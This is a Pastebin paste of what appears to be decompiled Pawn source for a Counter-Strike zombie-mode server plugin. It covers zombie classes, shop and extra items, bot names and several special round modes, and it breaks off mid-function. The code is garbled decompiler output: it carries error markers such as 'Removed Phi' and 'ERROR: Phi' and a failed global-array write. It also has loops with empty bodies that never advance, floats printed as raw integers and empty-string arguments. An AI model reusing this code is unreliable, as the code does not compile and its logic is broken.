Mr-Co0L

Untitled

Apr 10th, 2019
173
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 248.07 KB | None | 0 0
  1. #pragma semicolon 1
  2. #pragma ctrlchar '\'
  3.  
  4. new g_cZombieInfectSounds[5][] =
  5. {
  6. "ZombieOutstanding/zombie_infect_01.wav",
  7. "ZombieOutstanding/zombie_infect_02.wav",
  8. "ZombieOutstanding/zombie_infect_03.wav",
  9. "ZombieOutstanding/zombie_infect_04.wav",
  10. "ZombieOutstanding/zombie_infect_05.wav"
  11. };
  12. new g_cEndRoundZombieSounds[4][] =
  13. {
  14. "ZombieOutstanding/end_round_win_zombies_01.wav",
  15. "ZombieOutstanding/end_round_win_zombies_02.wav",
  16. "ZombieOutstanding/end_round_win_zombies_03.wav",
  17. "ZombieOutstanding/end_round_win_zombies_04.wav"
  18. };
  19. new g_cEndRoundHumanSounds[3][] =
  20. {
  21. "ZombieOutstanding/end_round_win_humans_01.wav",
  22. "ZombieOutstanding/end_round_win_humans_02.wav",
  23. "ZombieOutstanding/end_round_win_humans_03.wav"
  24. };
  25. new g_cStartRoundSurvivorSounds[2][] =
  26. {
  27. "ZombieOutstanding/round_start_survivor_01.wav",
  28. "ZombieOutstanding/round_start_survivor_02.wav"
  29. };
  30. new g_cStartRoundNemesisSounds[2][] =
  31. {
  32. "ZombieOutstanding/round_start_nemesis_01.wav",
  33. "ZombieOutstanding/round_start_nemesis_02.wav"
  34. };
  35. new g_cZombieBurnSounds[5][] =
  36. {
  37. "ZombieOutstanding/zombie_burn_01.wav",
  38. "ZombieOutstanding/zombie_burn_02.wav",
  39. "ZombieOutstanding/zombie_burn_03.wav",
  40. "ZombieOutstanding/zombie_burn_04.wav",
  41. "ZombieOutstanding/zombie_burn_05.wav"
  42. };
  43. new g_cHumanNadeInfectSounds[3][] =
  44. {
  45. "ZombieOutstanding/human_nade_infect_scream_01.wav",
  46. "ZombieOutstanding/human_nade_infect_scream_02.wav",
  47. "ZombieOutstanding/human_nade_infect_scream_03.wav"
  48. };
  49. new Float:g_fDamageCoords[8][0];
  50. new Float:g_fSizes[70][3] =
  51. {
  52. {
  53. 0, 0, 1065353216
  54. },
  55. {
  56. 0, 0, -1082130432
  57. },
  58.  
  59. Error on write global g_fSizes: Index was outside the bounds of the array.
  60.  
  61. new g_cHumanModels[4][] =
  62. {
  63. "terror",
  64. "gign",
  65. "sas",
  66. "arctic"
  67. };
  68. new g_cZombieModels[7][] =
  69. {
  70. "z_out_clasic",
  71. "z_out_raptor",
  72. "z_out_mutant",
  73. "z_out_tight",
  74. "z_out_regenerator",
  75. "z_out_predator_blue",
  76. "z_out_hunter"
  77. };
  78. new g_cZombieClaws[7][] =
  79. {
  80. "models/ZombieOutstanding/z_out_clasic_claws.mdl",
  81. "models/ZombieOutstanding/z_out_raptor_claws.mdl",
  82. "models/ZombieOutstanding/z_out_mutant_claws.mdl",
  83. "models/ZombieOutstanding/z_out_tight_claws.mdl",
  84. "models/ZombieOutstanding/z_out_raptor_claws.mdl",
  85. "models/ZombieOutstanding/z_out_predator_blue_claws.mdl",
  86. "models/ZombieOutstanding/z_out_hunter_claws.mdl"
  87. };
  88. new g_iZombieHealths[7] =
  89. {
  90. 5675, 5000, 7200, 3800, 5250, 5750, 5200
  91. }
  92. new Float:g_fZombieGravities[7] =
  93. {
  94. 1065353216, 1064682127, 1066275963, 1058474557, 1065353216, 1061158912, 1058977874
  95. }
  96. new Float:g_fZombieSpeeds[7] =
  97. {
  98. 1132756992, 1134100480, 1131741184, 1132593152, 1132068864, 1133150208, 1133051904
  99. }
  100. new Float:g_fZombieKnockbacks[7] =
  101. {
  102. 1062501089, 1067869798, 1054951342, 1065353216, 1063507722, 1060152279, 1062668861
  103. }
  104. new g_cZombieClasses[7][24] =
  105. {
  106. "Clasic",
  107. "Raptor",
  108. "Mutant",
  109. "Tight",
  110. "Regenerator",
  111. "Predator Blue",
  112. "Hunter"
  113. };
  114. new g_cZombieAttribs[7][] =
  115. {
  116. "\r[=Balanced=]",
  117. "\r[Speed +++]",
  118. "\r[Health +++]",
  119. "\r[Double Jump]",
  120. "\r[Regeneration]",
  121. "\r[Powerful]",
  122. "\r[Silent Killer]"
  123. };
  124. new g_cExtraItems[23][] =
  125. {
  126. "Antidote",
  127. "Fire Grenade",
  128. "Freeze Grenade",
  129. "Explosion Grenade",
  130. "Infection Grenade",
  131. "Killing Grenade",
  132. "M249 Machine Gun",
  133. "G3SG1 Auto Sniper Rifle",
  134. "SG550 Auto Sniper Rifle",
  135. "AWP Sniper Rifle",
  136. "Nightvision Googles",
  137. "Zombie Madness",
  138. "Jetpack + Bazooka",
  139. "Unlimited Clip",
  140. "Armor (100ap)",
  141. "Armor (200ap)",
  142. "Multijump +1",
  143. "Tryder",
  144. "Survivor",
  145. "Sniper",
  146. "Nemesis",
  147. "Assassin",
  148. "Knife Blink"
  149. };
  150. new g_iExtraItemsPrices[23] =
  151. {
  152. 15, 4, 3, 4, 26, 30, 9, 11, 10, 9, 2, 15, 30, 10, 5, 10, 5, 30, 180, 175, 140, 140, 10
  153. }
  154. new g_cExtraItemsPrices[23][] =
  155. {
  156. "\r[15 packs]",
  157. "\r[4 packs]",
  158. "\r[3 packs]",
  159. "\r[4 packs]",
  160. "\r[26 packs]",
  161. "\r[42 packs]",
  162. "\r[9 packs]",
  163. "\r[11 packs]",
  164. "\r[10 packs]",
  165. "\r[9 packs]",
  166. "\r[2 packs]",
  167. "\r[15 packs]",
  168. "\r[30 packs]",
  169. "\r[10 packs]",
  170. "\r[5 packs]",
  171. "\r[10 packs]",
  172. "\r[5 packs]",
  173. "\r[30 packs]",
  174. "\r[180 packs]",
  175. "\r[175 packs]",
  176. "\r[140 packs]",
  177. "\r[140 packs]",
  178. "\r[10 packs]"
  179. };
  180. new g_iExtraItemsTeams[23] =
  181. {
  182. 1, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1
  183. }
  184. new g_cShopItems[8][] =
  185. {
  186. "Double Damage",
  187. "Buy Server Slot",
  188. "Buy Admin Model",
  189. "100 Ammo Packs",
  190. "200 Ammo Packs",
  191. "300 Ammo Packs",
  192. "God Mode",
  193. "Armageddon Round"
  194. };
  195. new g_iShopItemsPrices[8] =
  196. {
  197. 120, 700, 2250, 160, 200, 280, 150, 180
  198. }
  199. new g_iShopItemsTeams[8] =
  200. {
  201. 2, 0, 0, 0, 0, 0, 2, 0
  202. }
  203. new g_cShopItemsPrices[8][] =
  204. {
  205. "\r[120 points]",
  206. "\r[700 points]\y (Recommended)",
  207. "\r[2250 points]",
  208. "\r[160 points]",
  209. "\r[200 points]",
  210. "\r[280 points]",
  211. "\r[150 points]",
  212. "\r[180 points]"
  213. };
  214. new g_cSecondaryWeapons[6][] =
  215. {
  216. "USP",
  217. "GLOCK18",
  218. "P228",
  219. "DEAGLE",
  220. "ELITE",
  221. "FIVESEVEN"
  222. };
  223. new g_cPrimaryWeapons[10][] =
  224. {
  225. "GALIL",
  226. "FAMAS",
  227. "M4A1",
  228. "AK47",
  229. "AUG",
  230. "SG552",
  231. "XM1014",
  232. "M3",
  233. "MP5NAVY",
  234. "P90"
  235. };
  236. new g_cSecondaryEntities[6][] =
  237. {
  238. "weapon_usp",
  239. "weapon_glock18",
  240. "weapon_p228",
  241. "weapon_deagle",
  242. "weapon_elite",
  243. "weapon_fiveseven"
  244. };
  245. new g_cPrimaryEntities[10][] =
  246. {
  247. "weapon_galil",
  248. "weapon_famas",
  249. "weapon_m4a1",
  250. "weapon_ak47",
  251. "weapon_aug",
  252. "weapon_sg552",
  253. "weapon_xm1014",
  254. "weapon_m3",
  255. "weapon_mp5navy",
  256. "weapon_p90"
  257. };
  258. new g_cBotNames[17][] =
  259. {
  260. "Banshee! [SWE]",
  261. "[pandor]Csaby",
  262. "Gabbbby",
  263. "Tha Ghost",
  264. "Teracotista",
  265. "Categoria epave ))",
  266. "Only p0rn",
  267. "Webdings!",
  268. "Red Tube",
  269. "Titanic Iceberg",
  270. "GameTracker RS",
  271. "Fan PooL",
  272. "Hattrick Rules",
  273. "DaNeZu Ordinarul",
  274. "Branza de Wisconsin",
  275. "Cheese Master",
  276. "Cocky Benedicht"
  277. };
  278. new g_iVoter;
  279. new Handle:g_hSQLTuple;
  280. new bool:g_bZombie[33];
  281. new g_iPlayerType[33];
  282. new bool:g_bFlashEnabled[33];
  283. new bool:g_bDoubleDamage[33];
  284. new bool:g_bServerSlot[33];
  285. new bool:g_bBot[33];
  286. new g_iMaxJumps[33];
  287. new bool:g_bAdminModel[33];
  288. new g_iBlinks[33];
  289. new bool:g_bFlash[33];
  290. new g_iRoundType;
  291. new g_iVariable;
  292. new bool:g_bTryder[33];
  293. new bool:g_bAlive[33];
  294. new g_iPoints[33];
  295. new g_iScore[33];
  296. new Float:g_fLastQuery;
  297. new g_iTimeLimit;
  298. new g_iKills[33];
  299. new g_iAliveCount;
  300. new bool:g_bUnlimitedClip[33];
  301. new bool:g_bKilling[33];
  302. new g_iRounds[1024];
  303. new g_iRoundsCount;
  304. new g_iDeaths[33];
  305. new g_iOnlineTime[33];
  306. new Float:g_fLastTime[33];
  307. new g_cOnlineTime[33][32];
  308. new g_cClass[33][24];
  309. new g_iZombieClass[33];
  310. new g_iZombieNextClass[33];
  311. new bool:g_bFrozen[33];
  312. new bool:g_bRanked[33];
  313. new bool:g_bAdmin[33];
  314. new g_cAdminFlags[33][42];
  315. new g_cName[33][32];
  316. new bool:g_bModeStarted;
  317. new g_cCountry[33][46];
  318. new g_cInternetProtocolAddress[33][24];
  319. new Float:g_fLastLeapTime[33];
  320. new Array:g_aNameData;
  321. new Array:g_aAmmoData;
  322. new g_iLastMode;
  323. new Float:g_fDamage[33];
  324. new g_iPacks[33];
  325. new g_iTopMessageSync;
  326. new Float:g_fGagTime[33];
  327. new g_iLeftMessageSync;
  328. new g_iEventsHudmessage;
  329. new g_cQuery[256];
  330. new g_iBurningDuration[33];
  331. new g_iWeapon[33];
  332. new g_iJumps[33];
  333. new g_iDownMessageSync;
  334. new g_iMenu;
  335. new Float:g_fLastNameChanged[33];
  336. new g_iCounter;
  337. new bool:g_bFake[33];
  338. new bool:g_bConnected[33];
  339. new bool:g_bVoting;
  340. new g_iSecondaryWeapons[64];
  341. new bool:g_bGaveThisRound[33];
  342. new g_iPrimaryWeapons[64];
  343. new g_cSteam[33][24];
  344. new bool:g_bSecondVoting;
  345. new g_iVotes[7];
  346. new g_cMaps[7][32];
  347. new bool:g_bEnded;
  348. new g_cSecondMaps[5][32];
  349. new g_iSecondVotes[5];
  350. new g_iRanksCount;
  351. new g_iKillsThisRound[33];
  352. new bool:g_bRoundStart;
  353. new bool:g_bRoundEnd;
  354. new g_iMaxClients;
  355. new g_iPosition[33];
  356. new g_iGameMenu;
  357. new g_iSecondaryMenu;
  358. new g_iCenterMessageSync;
  359. new g_iPrimaryMenu;
  360. new g_cGlobalPassword[33][32];
  361. new g_iShopMenu;
  362. new g_iMenuZombieClasses;
  363. new g_iMenuExtraItems;
  364. new bool:g_bNoDamage[33];
  365. new Float:g_fLastChangedModel;
  366. new g_iTripMines[33];
  367. new g_iPlantedMines[33];
  368. new g_iSize;
  369. new g_iMessagePosition;
  370. new bool:g_bPlanting[33];
  371. new g_iCounterMessage;
  372. new bool:g_bRemoving[33];
  373. new g_iMineMessage;
  374. new g_iSecondMineMessage;
  375. new g_iPlayerMines[33][2];
  376. new g_cTag[256][24];
  377. new g_cAdvertisements[64][188];
  378. new g_iAdvertisementsCount;
  379. new g_iMessage;
  380. new g_iOffset[33][2];
  381. new g_iArgumentPing[33][3];
  382. new g_iPingOverride[33] =
  383. {
  384. -1, ...
  385. }
  386. new g_iBotsCount;
  387. new bool:g_bSwitching;
  388. new Float:g_fRoundStartTime;
  389. new g_cModeRecordings[52][32];
  390. new g_iModeRecordings;
  391. new g_cNames[10][32];
  392. new g_iTracker;
  393. new g_cAddresses[10][24];
  394. new Float:g_fLast[33];
  395. new Float:g_fLastRankQuery;
  396. new Float:g_fLastBanQuery;
  397. new g_cPasswords[33][32];
  398. new g_cHudAdvertisements[64][188];
  399. new g_iHudAdvertisementsCount;
  400. new g_iHudMessage;
  401. new g_iSnipers;
  402. new g_iSurvivors;
  403.  
  404. Float:operator*(Float:,_:)(Float:oper1, oper2)
  405. {
  406. return oper1 * float(oper2);
  407. }
  408.  
  409. bool:operator>(Float:,Float:)(Float:oper1, Float:oper2)
  410. {
  411. return 0 < floatcmp(oper1, oper2);
  412. }
  413.  
  414. bool:operator>(_:,Float:)(oper1, Float:oper2)
  415. {
  416. return 0 < floatcmp(float(oper1), oper2);
  417. }
  418.  
  419. bool:operator>=(Float:,Float:)(Float:oper1, Float:oper2)
  420. {
  421. return 0 <= floatcmp(oper1, oper2);
  422. }
  423.  
  424. bool:operator<(Float:,Float:)(Float:oper1, Float:oper2)
  425. {
  426. return 0 > floatcmp(oper1, oper2);
  427. }
  428.  
  429. bool:operator<(Float:,_:)(Float:oper1, oper2)
  430. {
  431. return 0 > floatcmp(oper1, float(oper2));
  432. }
  433.  
  434. bool:operator<(_:,Float:)(oper1, Float:oper2)
  435. {
  436. return 0 > floatcmp(float(oper1), oper2);
  437. }
  438.  
  439. replace_all(String:string[], len, String:what[], String:with[])
  440. {
  441. new pos = 0;
  442. new var1 = contain(string, what);
  443. pos = var1;
  444. if (var1 == -1)
  445. {
  446. return 0;
  447. }
  448. new total = 0;
  449. new with_len = strlen(with);
  450. new diff = strlen(what) - with_len;
  451. new total_len = strlen(string);
  452. new temp_pos = 0;
  453. while (replace(string[pos], len - pos, what, with))
  454. {
  455. pos = with_len + pos;
  456. total_len -= diff;
  457. if (pos >= total_len)
  458. {
  459. return total;
  460. }
  461. else
  462. {
  463. temp_pos = contain(string[pos], what);
  464. if (temp_pos == -1)
  465. {
  466. return total;
  467. }
  468. else
  469. {
  470. pos = temp_pos + pos;
  471. total++;
  472. }
  473. return total;
  474. }
  475. return total;
  476. }
  477. return total;
  478. }
  479.  
  480. public __fatal_ham_error(Ham:id, HamError:err, String:reason[])
  481. {
  482. !!! Removed Phi
  483. if (func != -1 && callfunc_begin_i(func, -1) == 1)
  484. {
  485. callfunc_push_int(id);
  486. callfunc_push_int(err);
  487. callfunc_push_str(reason, false);
  488. if (callfunc_end() == 1)
  489. {
  490. fail = 0;
  491. }
  492. }
  493. if (fail)
  494. {
  495. set_fail_state(reason);
  496. }
  497. return 0;
  498. }
  499.  
  500. public MessageSayText()
  501. {
  502. !!! Removed Phi
  503. if (get_msg_args() == 4)
  504. {
  505. if (g_iMaxClients + 1 > var2 & 0 < var2 && g_cTag[iSender][0][0][0])
  506. {
  507. static cReplacement[189];
  508. static cPhrase[47];
  509. get_msg_arg_string(2, "", 46);
  510. if (equal("", "#Cstrike_Chat_CT", 0))
  511. {
  512. formatex(cReplacement, 188, "\1(Counter-Terrorist) \4%s \3%s\1 : %s", g_cTag[iSender][0][0], "%s1", "%s2");
  513. set_msg_arg_string(2, "");
  514. }
  515. if (equal("", "#Cstrike_Chat_T", 0))
  516. {
  517. formatex(cReplacement, 188, "\1(Terrorist) \4%s \3%s\1 : %s", g_cTag[iSender][0][0], "%s1", "%s2");
  518. set_msg_arg_string(2, "");
  519. }
  520. if (equal("", "#Cstrike_Chat_CT_Dead", 0))
  521. {
  522. formatex(cReplacement, 188, "\1*DEAD*(Counter-Terrorist) \4%s \3%s\1 : %s", g_cTag[iSender][0][0], "%s1", "%s2");
  523. set_msg_arg_string(2, "");
  524. }
  525. if (equal("", "#Cstrike_Chat_T_Dead", 0))
  526. {
  527. formatex(cReplacement, 188, "\1*DEAD*(Terrorist) \4%s \3%s\1 : %s", g_cTag[iSender][0][0], "%s1", "%s2");
  528. set_msg_arg_string(2, "");
  529. }
  530. if (equal("", "#Cstrike_Chat_Spec", 0))
  531. {
  532. formatex(cReplacement, 188, "\1(Spectator) \4%s \3%s\1 : %s", g_cTag[iSender][0][0], "%s1", "%s2");
  533. set_msg_arg_string(2, "");
  534. }
  535. if (equal("", "#Cstrike_Chat_All", 0))
  536. {
  537. formatex(cReplacement, 188, "\4%s \3%s\1 : %s", g_cTag[iSender][0][0], "%s1", "%s2");
  538. set_msg_arg_string(2, "");
  539. }
  540. if (equal("", "#Cstrike_Chat_AllDead", 0))
  541. {
  542. formatex(cReplacement, 188, "\1*DEAD* \4%s \3%s\1 : %s", g_cTag[iSender][0][0], "%s1", "%s2");
  543. set_msg_arg_string(2, "");
  544. }
  545. if (equal("", "#Cstrike_Chat_AllSpec", 0))
  546. {
  547. formatex(cReplacement, 188, "\1*SPEC* \4%s \3%s\1 : %s", g_cTag[iSender][0][0], "%s1", "%s2");
  548. set_msg_arg_string(2, "");
  549. }
  550. }
  551. }
  552. return 0;
  553. }
  554.  
  555. StartSwarmMode(bool:bForced)
  556. {
  557. !!! Removed Phi
  558. if ((g_iAliveCount > 9 && g_iLastMode != 64 && random_num(1, 27) == 1 && !g_iRounds[g_iRoundsCount][0][0]) || bForced)
  559. {
  560. g_iLastMode = 64;
  561. g_iRoundType = g_iRoundType | 64;
  562. static i;
  563. i = 1;
  564. while (g_iMaxClients + 1 > i)
  565. {
  566. if (!g_bAlive[i][0][0] || get_team(i) == 1)
  567. {
  568. }
  569. else
  570. {
  571. MakeZombie(0, i, true, false, false);
  572. }
  573. i += 1;
  574. }
  575. client_cmd(0, "spk ZombieOutstanding/round_start_plague");
  576. set_hudmessage(20, 255, 20, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
  577. ShowSyncHudMsg(0, g_iTopMessageSync, "Swarm Round !!");
  578. remove_task(600, 0);
  579. set_task(2.00, "TaskAmbience", 600, "", 0, "", 0);
  580. g_bModeStarted = 1;
  581. return 0;
  582. }
  583. StartPlagueMode(false);
  584. return 0;
  585. }
  586.  
  587. StartPlagueMode(bool:bForced)
  588. {
  589. !!! Removed Phi
  590. if ((g_iAliveCount > 9 && g_iLastMode != 32 && random_num(1, 28) == 1 && !g_iRounds[g_iRoundsCount][0][0]) || bForced)
  591. {
  592. g_iLastMode = 32;
  593. g_iRoundType = g_iRoundType | 32;
  594. static iNemesis;
  595. static iMaxNemesis;
  596. static i;
  597. static iMaxSurvivors;
  598. static iSurvivors;
  599. static iMaxZombies;
  600. static iZombies;
  601. iMaxSurvivors = 3;
  602. iMaxNemesis = 2;
  603. iZombies = 0;
  604. iNemesis = 0;
  605. iSurvivors = 0;
  606. while (iSurvivors < iMaxSurvivors)
  607. {
  608. i = GetRandomAlive();
  609. if (g_iPlayerType[i][0][0] & 4)
  610. {
  611. }
  612. else
  613. {
  614. MakeHuman(i, true, false);
  615. iSurvivors += 1;
  616. set_health(i, "");
  617. }
  618. }
  619. while (iNemesis < iMaxNemesis)
  620. {
  621. if (g_iPlayerType[i][0][0] & 4 || g_iPlayerType[i][0][0] & 1)
  622. {
  623. }
  624. }
  625. iMaxZombies = floatround(0.40/*1053609165*/ * g_iAliveCount + -5, floatround_floor);
  626. while (iZombies < iMaxZombies)
  627. {
  628. i += 1;
  629. if (i > g_iMaxClients)
  630. {
  631. i = 1;
  632. }
  633. if (!g_bAlive[i][0][0] || g_bZombie[i][0][0] || g_iPlayerType[i][0][0] & 4)
  634. {
  635. }
  636. }
  637. i = 1;
  638. while (g_iMaxClients + 1 > i)
  639. {
  640. if (!g_bAlive[i][0][0] || g_bZombie[i][0][0] || g_iPlayerType[i][0][0] & 4)
  641. {
  642. }
  643. else
  644. {
  645. if (get_team(i) != 2)
  646. {
  647. g_bSwitching = 1;
  648. set_team(i, "");
  649. g_bSwitching = 0;
  650. }
  651. }
  652. i += 1;
  653. }
  654. client_cmd(0, "spk ZombieOutstanding/round_start_plague");
  655. set_hudmessage(0, 50, 200, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
  656. ShowSyncHudMsg(0, g_iTopMessageSync, "Plague Round !!");
  657. remove_task(600, 0);
  658. set_task(2.00, "TaskAmbience", 600, "", 0, "", 0);
  659. g_bModeStarted = 1;
  660. return 0;
  661. }
  662. StartMultiMode(false);
  663. return 0;
  664. }
  665.  
  666. StartMultiMode(bool:bForced)
  667. {
  668. !!! Removed Phi
  669. if ((g_iAliveCount > 9 && g_iLastMode != 16 && random_num(1, 24) == 1 && !g_iRounds[g_iRoundsCount][0][0]) || bForced)
  670. {
  671. g_iLastMode = 16;
  672. g_iRoundType = g_iRoundType | 16;
  673. static i;
  674. static iMaxZombies;
  675. static iZombies;
  676. iZombies = 0;
  677. iMaxZombies = floatround(0.18/*1043878380*/ * g_iAliveCount, floatround_ceil);
  678. i = random_num(1, g_iMaxClients);
  679. while (iZombies < iMaxZombies)
  680. {
  681. i += 1;
  682. if (i > g_iMaxClients)
  683. {
  684. i = 1;
  685. }
  686. if (!g_bAlive[i][0][0] || g_bZombie[i][0][0])
  687. {
  688. }
  689. }
  690. i = 1;
  691. while (g_iMaxClients + 1 > i)
  692. {
  693. if (!g_bAlive[i][0][0] || g_bZombie[i][0][0])
  694. {
  695. }
  696. else
  697. {
  698. if (get_team(i) != 2)
  699. {
  700. g_bSwitching = 1;
  701. set_team(i, "");
  702. g_bSwitching = 0;
  703. }
  704. }
  705. i += 1;
  706. }
  707. client_cmd(0, "spk ZombieOutstanding/round_start_plague");
  708. set_hudmessage(200, 50, 0, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
  709. ShowSyncHudMsg(0, g_iTopMessageSync, "Multiple Infections !!");
  710. remove_task(600, 0);
  711. set_task(2.00, "TaskAmbience", 600, "", 0, "", 0);
  712. g_bModeStarted = 1;
  713. return 0;
  714. }
  715. StartArmageddonMode(false);
  716. return 0;
  717. }
  718.  
  719. StartArmageddonMode(bool:bForced)
  720. {
  721. !!! Removed Phi
  722. if ((g_iAliveCount > 9 && g_iLastMode != 128 && random_num(1, 33) == 1 && !g_iRounds[g_iRoundsCount][0][0]) || bForced)
  723. {
  724. g_iLastMode = 128;
  725. g_iRoundType = g_iRoundType | 128;
  726. static i;
  727. static iMaxZombies;
  728. static iZombies;
  729. iZombies = 0;
  730. iMaxZombies = floatround(0.44/*1054951342*/ * g_iAliveCount, floatround_floor);
  731. i = random_num(1, g_iMaxClients);
  732. while (iZombies < iMaxZombies)
  733. {
  734. i += 1;
  735. if (i > g_iMaxClients)
  736. {
  737. i = 1;
  738. }
  739. if (!g_bAlive[i][0][0] || g_bZombie[i][0][0])
  740. {
  741. }
  742. }
  743. i = 1;
  744. while (g_iMaxClients + 1 > i)
  745. {
  746. if (!g_bAlive[i][0][0] || g_bZombie[i][0][0])
  747. {
  748. }
  749. else
  750. {
  751. MakeHuman(i, true, false);
  752. set_health(i, "");
  753. }
  754. i += 1;
  755. }
  756. if (random_num(0, 1))
  757. {
  758. client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)][0][0]);
  759. }
  760. else
  761. {
  762. client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)][0][0]);
  763. }
  764. set_hudmessage(181, 62, 244, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
  765. ShowSyncHudMsg(0, g_iTopMessageSync, "Armageddon Round !!");
  766. remove_task(600, 0);
  767. set_task(2.00, "TaskAmbience", 600, "", 0, "", 0);
  768. g_bModeStarted = 1;
  769. return 0;
  770. }
  771. StartNightmareMode(false);
  772. return 0;
  773. }
  774.  
  775. StartNightmareMode(bool:bForced)
  776. {
  777. !!! Removed Phi
  778. if ((g_iAliveCount > 9 && g_iLastMode != 256 && random_num(1, 36) == 1 && !g_iRounds[g_iRoundsCount][0][0]) || bForced)
  779. {
  780. g_iLastMode = 256;
  781. g_iRoundType = g_iRoundType | 256;
  782. static i;
  783. static iMaxAssassins;
  784. static iAssassins;
  785. static iMaxSnipers;
  786. static iSnipers;
  787. static iMaxNemesis;
  788. static iNemesis;
  789. iAssassins = 0;
  790. iSnipers = 0;
  791. iNemesis = 0;
  792. iMaxNemesis = floatround(0.24/*1047904911*/ * g_iAliveCount, floatround_floor);
  793. iMaxAssassins = floatround(0.24/*1047904911*/ * g_iAliveCount, floatround_floor);
  794. iMaxSnipers = floatround(0.25/*1048576000*/ * g_iAliveCount, floatround_ceil);
  795. i = random_num(1, g_iMaxClients);
  796. while (iNemesis < iMaxNemesis)
  797. {
  798. i += 1;
  799. if (i > g_iMaxClients)
  800. {
  801. i = 1;
  802. }
  803. if (!g_bAlive[i][0][0] || g_bZombie[i][0][0])
  804. {
  805. }
  806. }
  807. while (iAssassins < iMaxAssassins)
  808. {
  809. i += 1;
  810. if (i > g_iMaxClients)
  811. {
  812. i = 1;
  813. }
  814. if (!g_bAlive[i][0][0] || g_bZombie[i][0][0])
  815. {
  816. }
  817. }
  818. while (iSnipers < iMaxSnipers)
  819. {
  820. i += 1;
  821. if (i > g_iMaxClients)
  822. {
  823. i = 1;
  824. }
  825. if (!g_bAlive[i][0][0] || g_bZombie[i][0][0] || g_iPlayerType[i][0][0] & 8)
  826. {
  827. }
  828. }
  829. i = 1;
  830. while (g_iMaxClients + 1 > i)
  831. {
  832. if (!g_bAlive[i][0][0] || g_bZombie[i][0][0] || g_iPlayerType[i][0][0] & 8 || g_iPlayerType[i][0][0] & 4)
  833. {
  834. }
  835. else
  836. {
  837. MakeHuman(i, true, false);
  838. set_health(i, 12500);
  839. }
  840. i += 1;
  841. }
  842. if (random_num(0, 1))
  843. {
  844. client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)][0][0]);
  845. }
  846. else
  847. {
  848. client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)][0][0]);
  849. }
  850. set_hudmessage(241, 15, 244, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
  851. ShowSyncHudMsg(0, g_iTopMessageSync, "Nightmare Round !!");
  852. remove_task(600, 0);
  853. set_task(2.00, "TaskAmbience", 600, "", 0, "", 0);
  854. g_bModeStarted = 1;
  855. return 0;
  856. }
  857. StartAssassinsVsSnipersMode(false);
  858. return 0;
  859. }
  860.  
  861. StartAssassinsVsSnipersMode(bool:bForced)
  862. {
  863. !!! Removed Phi
  864. if ((g_iAliveCount > 9 && g_iLastMode != 512 && random_num(1, 37) == 1 && !g_iRounds[g_iRoundsCount][0][0]) || bForced)
  865. {
  866. g_iLastMode = 512;
  867. g_iRoundType = g_iRoundType | 512;
  868. static i;
  869. i = 1;
  870. while (g_iMaxClients + 1 > i)
  871. {
  872. if (g_bAlive[i][0][0])
  873. {
  874. switch (get_team(i))
  875. {
  876. case 1:
  877. {
  878. MakeZombie(0, i, false, false, true);
  879. set_health(i, "");
  880. i += 1;
  881. }
  882. case 2:
  883. {
  884. MakeHuman(i, false, true);
  885. set_health(i, "");
  886. i += 1;
  887. }
  888. default:
  889. {
  890. i += 1;
  891. }
  892. }
  893. }
  894. i += 1;
  895. }
  896. if (random_num(0, 1))
  897. {
  898. client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)][0][0]);
  899. }
  900. else
  901. {
  902. client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)][0][0]);
  903. }
  904. set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
  905. ShowSyncHudMsg(0, g_iTopMessageSync, "Assassins vs Snipers Round !!");
  906. remove_task(600, 0);
  907. set_task(2.00, "TaskAmbience", 600, "", 0, "", 0);
  908. g_bModeStarted = 1;
  909. return 0;
  910. }
  911. static cTime[4];
  912. get_time("%H", cTime, 3);
  913. if (cTime[0][0] != 48)
  914. {
  915. StartSniperMode(0);
  916. }
  917. else
  918. {
  919. if (cTime[0][0] == 48 && cTime[1][0] == 49)
  920. {
  921. StartSniperMode(0);
  922. }
  923. if (cTime[0][0] == 48 && cTime[1][0] == 50)
  924. {
  925. StartSniperMode(0);
  926. }
  927. StartAssassinMode(0);
  928. }
  929. return 0;
  930. }
  931.  
  932.  
  933.  
  934.  
  935.  
  936. StartNormalMode(iPlayer)
  937. {
  938. static j;
  939. static i;
  940. i = GetRandomAlive();
  941. if (iPlayer)
  942. {
  943. i = iPlayer;
  944. }
  945. j = i;
  946. MakeZombie(0, i, false, false, false);
  947. i = 1;
  948. while (g_iMaxClients + 1 > i)
  949. {
  950. new var3 = g_bAlive;
  951. new var1;
  952. new var2;
  953. if (var3[i][0][0])
  954. {
  955. new var4 = g_bZombie;
  956. if (!var4[i][0][0])
  957. {
  958. if (get_team(i) == 1)
  959. {
  960. var2 = var4;
  961. if (ERROR: Phi)
  962. {
  963. g_bSwitching = 1;
  964. set_team(i, "");
  965. g_bSwitching = 0;
  966. i += 1;
  967. }
  968. i += 1;
  969. }
  970. var1 = var4;
  971. }
  972. var1 = var4;
  973. }
  974. else
  975. {
  976. var1 = var3;
  977. }
  978. var2 = var1;
  979. if (ERROR: Phi)
  980. {
  981. g_bSwitching = 1;
  982. set_team(i, "");
  983. g_bSwitching = 0;
  984. i += 1;
  985. }
  986. i += 1;
  987. }
  988. set_hudmessage(255, 0, 0, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
  989. ShowSyncHudMsg(0, g_iTopMessageSync, "%s is the first zombie !!", g_cName[j][0][0]);
  990. remove_task(600, 0);
  991. set_task(2.00, "TaskAmbience", 600, "", 0, "", 0);
  992. g_bModeStarted = 1;
  993. return 0;
  994. }
  995.  
  996. public CommandGetSlot(iPlayer)
  997. {
  998. new var2 = g_bServerSlot;
  999. new var1;
  1000. if (var2[iPlayer][0][0])
  1001. {
  1002. static cPassword[32];
  1003. read_argv(1, cPassword, 32);
